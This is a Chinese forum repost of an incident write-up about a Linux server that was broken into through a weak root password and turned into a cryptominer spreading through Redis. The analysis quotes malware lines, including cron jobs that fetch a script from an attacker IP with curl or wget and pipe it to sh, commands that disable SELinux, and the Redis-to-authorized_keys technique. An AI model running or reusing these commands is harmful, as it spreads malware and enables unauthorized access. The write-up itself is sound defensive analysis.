搜索

[18224] 2020-12-05_记录一次Linux被入侵的全过程

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-12-05_记录一次Linux被入侵的全过程 记 录 一 次   L i n u x   被 入 侵 的 全 过 程 L i n u x 就 该 这 么 学   H A C K 之 道   2 0 2 0 - 1 2 - 0 5 0 x 0 0   背 景 背 景 周 一 早 上 刚 到 办 公 室 ， 就 听 到 同 事 说 有 一 台 服 务 器 登 陆 不 上 了 ， 我 也 没 放 在 心 上 ， 继 续 边 吃 早 点 ， 边 看 币 价 是 不 是 又 跌 了 。 不 一 会 运 维 的 同 事 也 到 了 ， 气 喘 吁 吁 的 说 ： 我 们 有 台 服 务 器 被 阿 里 云 冻 结 了 ， 理 由 ： 对 外 恶 意 发 包 。 我 放 下 酸 菜 馅 的 包 子 ， s s h 连 了 一 下 ， 被 拒 绝 了 ， 问 了 下 默 认 的 2 2 端 口 被 封 了 。 让 运 维 的 同 事 把 端 口 改 了 一 下 ， 立 马 连 上 去 ， 顺 便 看 了 一 下 登 录 名 : r o o t ， 还 有 不 足 8 位 的 小 白 密 码 ， 心 里 一 凉 ： 被 黑 了 ！ 0 x 0 1   查 找 线 索 查 找 线 索 服 务 器 系 统 C e n t O S   6 . X ， 部 署 了 n g i n x ， t o m c a t ， r e d i s 等 应 用 ， 上 来 先 把 数 据 库 全 备 份 到 本 地 ， 然 后 t o p 命 令 看 了 一 下 ， 有 2 个 9 9 % 的 同 名 进 程 还 在 运 行 ， 叫 g p g - a g e n t d 。
g o o g l e 了 一 下 g p g ， 结 果 是 ： G P G 提 供 的 g p g - a g e n t 提 供 了 对 S S H 协 议 的 支 持 ， 这 个 功 能 可 以 大 大 简 化 密 钥 的 管 理 工 作 。 看 起 来 像 是 一 个 很 正 经 的 程 序 嘛 ， 但 仔 细 再 看 看 服 务 器 上 的 进 程 后 面 还 跟 着 一 个 字 母 d ， 伪 装 的 很 好 ， 让 人 想 起 来 w i n d o w s 上 各 种 看 起 来 像 s v c h o s t . e x e 的 病 毒 。 继 续 查 看 p i d : 2 3 3 7 4 进 程 启 动 路 径 和 网 络 状 况 ， 也 就 是 来 到 了 图 1 的 目 录 ， 到 此 已 经 找 到 了 黑 客 留 下 的 二 进 制 可 执 行 文 件 。 接 下 来 还 有 2 个 问 题 在 等 着 我 ： 1 、 文 件 是 怎 么 上 传 的 ？ 2 、 这 个 文 件 的 目 的 是 什 么 ， 或 是 黑 客 想 干 嘛 ？ h i s t o r y 看 一 下 ， 记 录 果 然 都 被 清 掉 了 ， 没 留 下 任 何 痕 迹 。 继 续 命 令 m o r e   m e s s a g e s ， 看 到 了 在 半 夜 1 2 点 左 右 ， 在 服 务 器 上 装 了 很 多 软 件 ， 其 中 有 几 个 软 件 引 起 了 我 的 注 意 ， 下 面 详 细 讲 。 边 找 边 猜 ， 如 果 我 们 要 做 坏 事 ， 大 概 会 在 哪 里 做 文 章 ， 自 动 启 动 ？ 定 时 启 动 ？ 对 ， 计 划 任 务 。 p s   e h o   c o m m a n d   - p   2 3 3 7 4 n e t s t a t   - p a n   |   g r e p   2 3 3 7 4 c r o n t a b   - e
果 然 ， 线 索 找 到 了 。 0 x 0 2   作 案 动 机 作 案 动 机 上 面 的 计 划 任 务 的 意 思 就 是 每 1 5 分 钟 去 服 务 器 上 下 载 一 个 脚 本 ， 并 且 执 行 这 个 脚 本 。 我 们 把 脚 本 下 载 下 来 看 一 下 。 脚 本 内 容 如 下 ： 大 致 分 析 一 下 该 脚 本 的 主 要 用 途 ： 首 先 是 关 闭 S E L i n u x ， 解 除 s h e l l 资 源 访 问 限 制 ， 然 后 在 / r o o t / . s s h / a u t h o r i z e d _ k e y s 文 件 中 生 成 s s h 公 钥 ， 这 样 每 次 黑 客 登 录 这 台 服 务 器 就 可 以 免 密 码 登 录 了 ， 执 行 脚 本 就 会 方 便 很 多 ， 关 于 s s h   k e y s 的 文 章 可 以 参 考 这 一 篇 文 章 S S H 原 理 与 运 用 。 接 下 来 安 装 b a s h ， 最 后 是 继 续 下 载 第 二 个 脚 本 b s h . p h p ， 并 且 执 行 。 继 续 下 载 并 分 析 b s h . p b p ， 内 容 如 下 ： 这 段 脚 本 的 代 码 比 较 长 ， 但 主 要 的 功 能 有 4 个 ： 1 .   下 载 远 程 代 码 到 本 地 ， 添 加 执 行 权 限 ， c h m o d   u + x 。 2 .   修 改 r c . l o c a l ， 让 本 地 代 码 开 机 自 动 执 行 。 3 .   下 载 g i t h u b 上 的 开 源 扫 描 器 代 码 ， 并 安 装 相 关 的 依 赖 软 件 ， 也 就 是 我 上 面 的 m e s s a g e s 里 看 到 的 记 录 。 4 .   下 载 第 三 个 脚 本 ， 并 且 执 行 。 我 去 g i t h u b 上 看 了 下 这 个 开 源 代 码 ， 简 直 吊 炸 天 。 M A S S C A N :   M a s s   I P   p o r t   s c a n n e r c u r l   - f s S L   1 5 9 . 8 9 . 1 9 0 . 2 4 3 / a s h . p h p   >   a s h . s h u n a m e   - a i d h o s t n a m e s e t e n f o r c e   0   2 > / d e v / n u l l u l i m i t   - n   5 0 0 0 0 u l i m i t   - u   5 0 0 0 0 c r o n t a b   - r   2 > / d e v / n u l l r m   - r f   / v a r / s p o o l / c r o n s l e e p   $ (   s e q   3   7   |   s o r t   - R   |   h e a d   - n 1   ) c d   / t m p   | |   c d   / v a r / t m p s l e e p   1 m k d i r   - p   . I C E - u n i x / . . .   & &   c h m o d   - R  
T h i s   i s   t h e   f a s t e s t   I n t e r n e t   p o r t   s c a n n e r .   I t   c a n   s c a n   t h e   e n t i r e   I n t e r n e t   i n   u n d e r   6   m i n u t e s ,   >   t r a n s m i t t i n g   1 0   m i l l i o n   p a c k e t s   p e r   s e c o n d . I t   p r o d u c e s   r e s u l t s   s i m i l a r   t o   n m a p ,   t h e   m o s t   f a m o u s   p o r t   s c a n n e r .   I n t e r n a l l y ,   i t   o p e r a t e s   m o r e   >   l i k e   s c a n r a n d ,   u n i c o r n s c a n ,   a n d   Z M a p ,   u s i n g   a s y n c h r o n o u s   t r a n s m i s s i o n .   T h e   m a j o r   d i f f e r e n c e   i s   >   t h a t   i t ' s   f a s t e r   t h a n   t h e s e   o t h e r   s c a n n e r s .   I n   a d d i t i o n ,   i t ' s   m o r e   f l e x i b l e ,   a l l o w i n g   a r b i t r a r y   >   a d d r e s s   r a n g e s   a n d   p o r t   r a n g e s . N O T E :   m a s s c a n   u s e s   a   c u s t o m   T C P / I P   s t a c k .   A n y t h i n g   o t h e r   t h a n   s i m p l e   p o r t   s c a n s   w i l l   c a u s e   c o n f l i c t   w i t h   t h e   l o c a l   T C P / I P   s t a c k .   T h i s   m e a n s   y o u   n e e d   t o   e i t h e r   u s e   t h e   - S   o p t i o n   t o   u s e   a   s e p a r a t e   I P   a d d r e s s ,   o r   c o n f i g u r e   y o u r   o p e r a t i n g   s y s t e m   t o   f i r e w a l l   t h e   p o r t s   t h a t   m a s s c a n   u s e s . t r a n s m i t t i n g   1 0   m i l l i o n   p a c k e t s   p e r   s e c o n d ( 每 秒 发 送 1 0 0 0 万 个 数 据 包 ) ， 比 n m a p 速 度 还 要 快 ， 这 就 不 难 理 解 为 什 么 阿 里 云 把 服 务 器 冻 结 了 ， 大 概 看 了 下 r e a d m e 之 后 ， 我 也 没 有 细 究 ， 继 续 下 载 第 三 个 脚 本 。 s e t e n f o r c e   0   2 > / d e v / n u l l u l i m i t   - n   5 0 0 0 0 u l i m i t   - u   5 0 0 0 0 s l e e p   1 i p t a b l e s   - I   I N P U T   1   - p   t c p   - - d p o r t   * / 2   *   *   *   *   c u r l   - f s S L   h t t p : / / 1 5 9 . 8 9 . 1 9 0 . 2 4 3 / a s h . p h p   |   s h " '   > >   . d a t e c h o   ' s e t   b a c k u p 2   " * / 3   *   *   *   *   w g e t   - q   - O -   h t t p : / / 1 5 9 . 8 9 . 1 9 0 . 2 4 3 / a s h . p h p   |   s h " '   > >   . d a t e c h o   ' s e t   b a c k u p 3   " * / 4   *   *   *   *   c u r l   - f s S L   h t t p : / / 1 5 9 . 8 9 . 1 9 0 . 2 4 3 / a s h . p h p   |   s h " '   > >   . d a t e c h o   ' s e t   b a c k u p 4   " * / 5   *   *   *   *   w g e t   - q   - O -   h t t p : / / 1 5 9 . 8 9 . 1 9 0 . 2 4 3 / a s h . p h p   |   s h " '   > >   . d a t e c h o   ' c o n f i g   s e t   d i r   " / v a r / s p o o l / c r o n / " '   > >   . d a t e c h o   ' c o n f i g   s e t   d b f i l e n a m e   " r o o t " '   > >   . d a t e c h o  
如 果 说 前 两 个 脚 本 只 是 在 服 务 器 上 下 载 执 行 了 二 进 制 文 件 ， 那 这 个 脚 本 才 真 正 显 示 病 毒 的 威 力 。 下 面 就 来 分 析 这 个 脚 本 。 一 开 始 的 修 改 系 统 环 境 没 什 么 好 说 的 ， 接 下 来 的 写 文 件 操 作 有 点 眼 熟 ， 如 果 用 过 r e d i s 的 人 ， 应 该 能 猜 到 ， 这 里 是 对 r e d i s 进 行 配 置 。 写 这 个 配 置 ， 自 然 也 就 是 利 用 了 r e d i s 把 缓 存 内 容 写 入 本 地 文 件 的 漏 洞 ， 结 果 就 是 用 本 地 的 私 钥 去 登 陆 被 写 入 公 钥 的 服 务 器 了 ， 无 需 密 码 就 可 以 登 陆 ， 也 就 是 我 们 文 章 最 开 始 的 / r o o t / . s s h / a u t h o r i z e d _ k e y s 。 登 录 之 后 就 开 始 定 期 执 行 计 划 任 务 ， 下 载 脚 本 。 好 了 ， 配 置 文 件 准 备 好 了 ， 就 开 始 利 用 m a s s c a n 进 行 全 网 扫 描 r e d i s 服 务 器 ， 寻 找 肉 鸡 ， 注 意 看 这 6 3 7 9 就 是 r e d i s 服 务 器 的 默 认 端 口 ， 如 果 你 的 r e d i s 的 监 听 端 口 是 公 网 I P 或 是 0 . 0 . 0 . 0 ， 并 且 没 有 密 码 保 护 ， 不 好 意 思 ， 你 就 中 招 了 。 0 x 0 3   总 结 总 结 通 过 依 次 分 析 这 3 个 脚 本 ， 就 能 看 出 这 个 病 毒 的 可 怕 之 处 ， 先 是 通 过 写 入 s s h   p u b l i c   k e y   拿 到 登 录 权 限 ， 然 后 下 载 执 行 远 程 二 进 制 文 件 ， 最 后 再 通 过 r e d i s 漏 洞 复 制 ， 迅 速 在 全 网 传 播 ， 以 指 数 级 速 度 增 长 。 那 么 问 题 是 ， 这 台 服 务 器 是 怎 么 中 招 的 呢 ？ 看 了 下 r e d i s . c o n f ， b i n d 的 地 址 是 1 2 7 . 0 . 0 . 1 ， 没 啥 问 题 。 由 此 可 以 推 断 ， 应 该 是 r o o t 帐 号 被 暴 力 破 解 了 ， 为 了 验 证 我 的 想 法 ， 我 l a s t b 看 了 一 下 ， 果 然 有 大 量 的 记 录 ： 还 剩 最 后 一 个 问 题 ， 这 个 g p g - a g e n t d 程 序 到 底 是 干 什 么 的 呢 ？ 我 当 时 的 第 一 个 反 应 就 是 矿 机 ， 因 为 现 在 数 字 货 币 太 火 了 ， 加 大 了 分 布 式 矿 机 的 需 求 ， 也 就 催 生 了 这 条 灰 色 产 业 链 。 于 是 ， 顺 手 把 这 个 g p g - a g e n t d 拖 到 i d a 中 ， 用 s t r i n g 搜 索 b i t c o i n , e t h ,   m i n e 等 相 关 单 词 ， 最 终 发 现 了 这 个 ：
打 开   n i c e h a s h . c o m   看 一 下 ， 一 切 都 清 晰 了 。 0 x 0 4   安 全 建 议 安 全 建 议 一 、 服 务 器 一 、 服 务 器 1 .   禁 用 R O O T 2 .   用 户 名 和 密 码 尽 量 复 杂 3 .   修 改 s s h 的 默 认 2 2 端 口 4 .   安 装 D e n y H o s t s 防 暴 力 破 解 软 件 5 .   禁 用 密 码 登 录 ， 使 用 R S A 公 钥 登 录 二 、 二 、 r e d i s 1 .   禁 用 公 网 I P 监 听 ， 包 括 0 . 0 . 0 . 0 2 .   使 用 密 码 限 制 访 问 r e d i s 3 .   使 用 较 低 权 限 帐 号 运 行 r e d i s
到 此 ， 整 个 入 侵 过 程 基 本 分 析 完 了 ， 如 果 大 家 对 样 本 有 兴 趣 ， 也 可 以 自 行 去 c u r l ， 或 是 去 虚 拟 机 执 行 上 面 的 脚 本 。 鉴 于 本 人 能 力 有 限 ， 文 中 难 免 会 出 现 疏 忽 或 是 错 误 ， 还 请 大 家 多 多 指 正 。 E N D 关 注 公 众 号 关 注 公 众 号 : H A C K 之 道 之 道
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理